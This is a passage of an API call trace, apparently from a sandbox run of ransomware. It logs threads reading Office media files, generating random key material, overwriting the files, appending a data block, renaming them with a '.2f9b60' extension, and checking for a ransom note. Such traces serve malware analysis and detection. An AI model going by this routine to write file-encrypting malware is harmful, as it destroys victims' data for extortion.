"c:\\program files\\microsoft office\\media\\cagcat10\\j0222017.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd9c [0120.606] GetFileSizeEx (in: hFile=0xd9c, lpFileSize=0x3905f780 | out: lpFileSize=0x3905f780*=1586) returned 1 [0120.606] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x62e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.606] ReadFile (in: hFile=0xd9c, lpBuffer=0x3905f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3905f748, lpOverlapped=0x0 | out: lpBuffer=0x3905f700*, lpNumberOfBytesRead=0x3905f748*=0x4, lpOverlapped=0x0) returned 1 [0120.921] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62f0 [0120.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b30 [0120.922] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ad0 [0120.922] NtQuerySystemTime (in: CurrentTime=0x3905f640 | out: CurrentTime=0x3905f640*=132462177263206000) returned 0x0 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x64eebc80 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x24ee9bc0 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x79fe69bd [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x25197480 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x24338379 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x552fbc39 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5343c9fd [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5caee296 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x7cc40bf8 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x120954d4 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x3b5808d9 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x3e347e62 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x1ba2c2af [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5887b65a [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5e2f53be [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5419ad71 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x7fb16a76 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x314a56bb [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x5a5c9ad2 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0xc579054 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x30c17ad2 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x456a3998 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x3b8caf80 [0120.922] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x1d6a8d9 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x35c98796 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x3b5808d9 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x56432189 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x1435dc5e [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x142aeb27 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x2d19733c [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x100f9136 [0120.923] RtlRandomEx (in: Seed=0x3905f630 | out: Seed=0x3905f630) returned 0x67db2c5f [0120.930] ReadFile (in: hFile=0xd9c, lpBuffer=0x20113cc0, nNumberOfBytesToRead=0x632, lpNumberOfBytesRead=0x3905f630, lpOverlapped=0x0 | out: lpBuffer=0x20113cc0*, lpNumberOfBytesRead=0x3905f630*=0x632, lpOverlapped=0x0) returned 1 [0120.930] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.930] WriteFile (in: hFile=0xd9c, lpBuffer=0x41d885a0*, nNumberOfBytesToWrite=0x632, lpNumberOfBytesWritten=0x3905f634, lpOverlapped=0x0 | out: lpBuffer=0x41d885a0*, lpNumberOfBytesWritten=0x3905f634*=0x632, lpOverlapped=0x0) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260380 [0122.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ba0 [0122.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ba0) returned 1 [0122.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d885a0) returned 1 [0122.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20113cc0) returned 1 [0122.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f90) returned 1 [0122.224] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d00) returned 1 [0122.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262ba0 [0122.224] SetFilePointerEx (in: hFile=0xd9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.224] WriteFile (in: hFile=0xd9c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3905f750, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x3905f750*=0x10a, lpOverlapped=0x0) returned 1 [0122.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0123.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6260 [0123.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6260) returned 1 [0123.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6260 [0123.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0123.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6380) returned 1 [0123.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0123.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0123.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.000] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="01") returned 2 [0123.000] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="a0") returned 2 [0123.000] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="a5") returned 2 [0123.000] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="8b") returned 2 [0123.000] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="98") returned 2 [0123.000] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="93") returned 2 [0123.000] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="e8") returned 2 [0123.000] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="e0") returned 2 [0123.000] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="bf") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="8a") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="8c") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="19") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="b9") returned 2 [0123.001] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="eb") returned 2 [0123.001] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="27") returned 2 [0123.001] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="d2") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="a6") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="20") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="00") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="b1") returned 2 [0123.001] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="da") returned 2 [0123.001] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="52") returned 2 [0123.001] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="7c") returned 2 [0123.001] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="39") returned 2 [0123.001] RtlInitAnsiString (in: DestinationString=0x3905f7c8, SourceString="01a0a58b9893e8e0bf8a8c19b9eb27d2a62000b1da527c39" | out: DestinationString="01a0a58b9893e8e0bf8a8c19b9eb27d2a62000b1da527c39") [0123.001] RtlAnsiStringToUnicodeString (in: DestinationString=0x3905f798, SourceString="01a0a58b9893e8e0bf8a8c19b9eb27d2a62000b1da527c39", AllocateDestinationString=1 | out: DestinationString="01a0a58b9893e8e0bf8a8c19b9eb27d2a62000b1da527c39") returned 0x0 [0123.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0123.001] wcscat (in: _Dest=0x202b0b50, _Source="01a0a58b9893" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893" [0123.001] wcscat (in: _Dest=0x202b0b50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893.2f9b60" [0123.001] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893.2f9b60", NtPathName=0x3905f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\01a0a58b9893.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0123.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd64dc0 [0123.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0123.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cece810) returned 1 [0123.201] NtQueryInformationFile (in: FileHandle=0xd9c, IoStatusBlock=0x3905f7d8, FileInformation=0x3905f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3905f7d8, FileInformation=0x3905f7e8) returned 0x0 [0123.201] NtSetInformationFile (FileHandle=0xd9c, IoStatusBlock=0x3905f7d8, FileInformation=0x3905f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0b50) returned 1 [0123.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0123.203] FlushFileBuffers (hFile=0xd9c) returned 1 [0123.205] CloseHandle (hObject=0xd9c) returned 1 [0123.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202aefe0 [0123.206] wcscpy (in: _Dest=0x202aefe0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0123.207] wcscat (in: _Dest=0x202aefe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0123.207] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0123.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aefe0) returned 1 [0123.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aaa0) returned 1 Thread: id = 1234 os_tid = 0xc98 [0115.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf")) returned 0x20 [0115.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF", dwFileAttributes=0x20) returned 1 [0120.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0222015.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0222015.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x174c [0120.607] GetFileSizeEx (in: hFile=0x174c, lpFileSize=0x391bf6a0 | out: lpFileSize=0x391bf6a0*=1930) returned 1 [0120.607] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x786, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.607] ReadFile (in: hFile=0x174c, lpBuffer=0x391bf620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x391bf668, lpOverlapped=0x0 | out: lpBuffer=0x391bf620*, lpNumberOfBytesRead=0x391bf668*=0x4, lpOverlapped=0x0) returned 1 [0122.380] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6f0 [0122.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d870 [0122.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d900 [0122.380] NtQuerySystemTime (in: CurrentTime=0x391bf560 | out: CurrentTime=0x391bf560*=132462177277558000) returned 0x0 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x2024fa75 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4f095944 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x7d2eec1f [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x2bb6cbca [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4dfe92c2 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x5b8c435b [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x67508146 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x1323ec3a [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4550e65f [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x7b7f15f8 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4725bc6 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x389a11e3 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x3a6394e7 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x381ccc1f [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x55376431 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x53677f2f [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x2ff58bd7 [0122.380] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0xa0da747 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x44343aff [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x11e4c419 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x3a6394e7 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4dfe92c2 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x9f2dcfc [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x1588b6c0 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x144acb1a [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x626d9f5e [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x3f7104ea [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4d403fe8 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x4bd2ec85 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x175fb305 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x3b747f36 [0122.381] RtlRandomEx (in: Seed=0x391bf550 | out: Seed=0x391bf550) returned 0x6f88abb2 [0122.387] ReadFile (in: hFile=0x174c, lpBuffer=0x1cf12af0, nNumberOfBytesToRead=0x78a, lpNumberOfBytesRead=0x391bf550, lpOverlapped=0x0 | out: lpBuffer=0x1cf12af0*, lpNumberOfBytesRead=0x391bf550*=0x78a, lpOverlapped=0x0) returned 1 [0122.387] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.387] WriteFile (in: hFile=0x174c, lpBuffer=0x1cefc290*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x391bf554, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesWritten=0x391bf554*=0x78a, lpOverlapped=0x0) returned 1 [0122.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e980 [0122.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e9b0 [0122.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e9b0) returned 1 [0122.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0122.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf12af0) returned 1 [0122.751] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503910) returned 1 [0122.752] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0122.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e9b0 [0122.752] SetFilePointerEx (in: hFile=0x174c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.752] WriteFile (in: hFile=0x174c, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x391bf670, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x391bf670*=0x10a, lpOverlapped=0x0) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0122.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71c0 [0122.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71c0) returned 1 [0122.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0122.983] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="1f") returned 2 [0122.983] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="f4") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="80") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="30") returned 2 [0122.984] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="39") returned 2 [0122.984] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="70") returned 2 [0122.984] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="5f") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="c2") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="78") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="fe") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.984] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="d5") returned 2 [0122.984] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="6d") returned 2 [0122.984] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="d1") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="ce") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="56") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="0c") returned 2 [0122.984] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="ff") returned 2 [0122.984] sprintf (in: _Dest=0x1cda069a, _Format="%c%c" | out: _Dest="09") returned 2 [0122.984] sprintf (in: _Dest=0x1cda069c, _Format="%c%c" | out: _Dest="a9") returned 2 [0122.984] sprintf (in: _Dest=0x1cda069e, _Format="%c%c" | out: _Dest="7e") returned 2 [0122.984] RtlInitAnsiString (in: DestinationString=0x391bf6e8, SourceString="1ff4ce803039705fc278fefe5ad56dd15ace560cff09a97e" | out: DestinationString="1ff4ce803039705fc278fefe5ad56dd15ace560cff09a97e") [0122.984] RtlAnsiStringToUnicodeString (in: DestinationString=0x391bf6b8, SourceString="1ff4ce803039705fc278fefe5ad56dd15ace560cff09a97e", AllocateDestinationString=1 | out: DestinationString="1ff4ce803039705fc278fefe5ad56dd15ace560cff09a97e") returned 0x0 [0122.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0122.985] wcscat (in: _Dest=0x202b0a10, _Source="1ff4ce803039" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039" [0122.985] wcscat (in: _Dest=0x202b0a10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039.2f9b60" [0122.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039.2f9b60", NtPathName=0x391bf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1ff4ce803039.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1cd65760 [0123.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65760) returned 1 [0123.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecdf50) returned 1 [0123.086] NtQueryInformationFile (in: FileHandle=0x174c, IoStatusBlock=0x391bf6f8, FileInformation=0x391bf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x391bf6f8, FileInformation=0x391bf708) returned 0x0 [0123.086] NtSetInformationFile (FileHandle=0x174c, IoStatusBlock=0x391bf6f8, FileInformation=0x391bf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0a10) returned 1 [0123.105] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0123.105] FlushFileBuffers (hFile=0x174c) returned 1 [0123.110] CloseHandle (hObject=0x174c) returned 1 [0123.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050b4f0 [0123.118] wcscpy (in: _Dest=0x2050b4f0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0123.118] wcscat (in: _Dest=0x2050b4f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0123.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0123.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b4f0) returned 1 [0123.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86aa10) returned 1 Thread: id = 1235 os_tid = 0xc94 [0115.293] 